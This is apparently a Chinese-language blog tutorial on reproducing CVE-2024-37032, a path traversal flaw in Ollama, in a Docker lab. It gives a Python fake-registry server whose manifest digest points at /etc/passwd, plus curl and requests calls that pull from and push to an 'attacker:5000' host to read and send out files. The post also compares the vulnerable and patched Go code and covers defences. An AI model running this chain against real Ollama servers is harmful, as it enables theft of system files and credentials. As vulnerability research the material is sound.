Ollama路径遍历漏洞深度解析:从恶意注册表搭建到漏洞验证实战

在本地运行大型语言模型(LLM)的工具链中,Ollama凭借其简洁易用的特性迅速成为开发者首选。然而,2024年披露的CVE-2024-37032路径遍历漏洞暴露了其安全机制的致命缺陷。本文将带领安全研究人员从攻击者视角,在隔离实验环境中完整复现漏洞利用链,深入理解漏洞本质。

1. 漏洞环境搭建与工具准备

1.1 实验环境配置

为安全复现漏洞,建议使用Docker创建隔离环境:

# 创建漏洞版本容器
docker run -d --name ollama-vuln -p 11434:11434 ollama/ollama:0.1.33

# 验证服务运行
curl http://localhost:11434/api/tags

实验环境要求

  • 独立Linux主机或虚拟机
  • Docker 20.10+
  • Python 3.8+环境
  • 网络可达性(仅限实验环境)

1.2 恶意注册表服务器搭建

攻击者需要控制一个伪造的模型注册表。使用Python快速搭建:

from http.server import HTTPServer, BaseHTTPRequestHandler
import json

class MaliciousHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if 'manifests' in self.path:
            self.send_response(200)
            self.send_header('Content-type', 'application/json')
            self.end_headers()
            payload = {
                "schemaVersion": 2,
                "config": {
                    "digest": "../../../../../../etc/passwd",
                    "size": 10
                }
            }
            self.wfile.write(json.dumps(payload).encode())

httpd = HTTPServer(('0.0.0.0', 5000), MaliciousHandler)
httpd.serve_forever()

关键参数说明:

  • digest字段注入路径遍历序列
  • HTTP服务监听5000端口
  • 返回伪造的manifest响应

2. 漏洞利用链分步解析

2.1 触发路径遍历

向漏洞主机发送拉取请求:

curl -X POST http://localhost:11434/api/pull \
  -H "Content-Type: application/json" \
  -d '{"name":"malicious-registry:5000/test","insecure":true}'

参数作用分析

参数 安全影响
name 恶意注册表地址 指定攻击源
insecure true 绕过TLS验证

2.2 数据回传技术实现

利用Ollama的push机制回传敏感文件:

import requests

# 触发文件读取
pull_resp = requests.post(
    'http://victim:11434/api/pull',
    json={'name': 'attacker:5000/exploit', 'insecure': True}
)

# 通过push回传数据
push_resp = requests.post(
    'http://victim:11434/api/push',
    json={'name': 'attacker:5000/collection', 'insecure': True}
)

注意:实际攻击中需要配合接收服务器捕获回传数据

2.3 漏洞利用效果验证

检查服务器日志确认漏洞触发:

docker logs ollama-vuln | grep -i "error opening blob"

预期可见类似错误:

error opening blob: open /var/lib/ollama/blobs/sha256/../../etc/passwd: no such file or directory

3. 漏洞原理深度剖析

3.1 关键缺陷代码分析

问题核心位于modelpath.go的路径处理逻辑:

// 漏洞版本代码
func GetBlobsPath(digest string) string {
    baseDir := "/var/lib/ollama/blobs"
    return filepath.Join(baseDir, "sha256", digest) 
    // digest未校验导致路径穿越
}

与修复版本对比:

// 修复后代码
func GetBlobsPath(digest string) (string, error) {
    if !sha256Regex.MatchString(digest) {
        return "", fmt.Errorf("invalid digest format")
    }
    return filepath.Join(baseDir, "sha256", digest), nil
}

3.2 攻击面扩展分析

除文件读取外,漏洞可能衍生更多风险:

  1. 写入攻击

    • 覆盖配置文件
    • 植入后门脚本
  2. 权限提升

    • 读取SSH密钥
    • 获取Kubernetes凭证
  3. 横向移动

    • 读取数据库连接字符串
    • 获取云服务访问密钥

4. 防御方案与修复验证

4.1 官方补丁验证

升级到0.1.34后重新测试:

docker run -d --name ollama-fixed -p 11435:11434 ollama/ollama:0.1.34
curl -X POST http://localhost:11435/api/pull \
  -d '{"name":"malicious:5000/test","insecure":true}'

此时应返回错误:

{"error":"invalid digest format"}

4.2 纵深防御策略

企业级防护方案对比

措施 实施难度 防护效果 对业务影响
网络隔离 ★★☆ ★★★★★
EDR监控 ★★★ ★★★★☆
补丁升级 ★☆☆ ★★★★★
证书强制 ★★☆ ★★★☆☆

在实验环境中成功复现CVE-2024-37032后,建议立即销毁测试容器。实际安全评估应严格遵循授权范围,所有技术细节仅用于防御研究。

Logo

Agent 垂直技术社区,欢迎活跃、内容共建。

更多推荐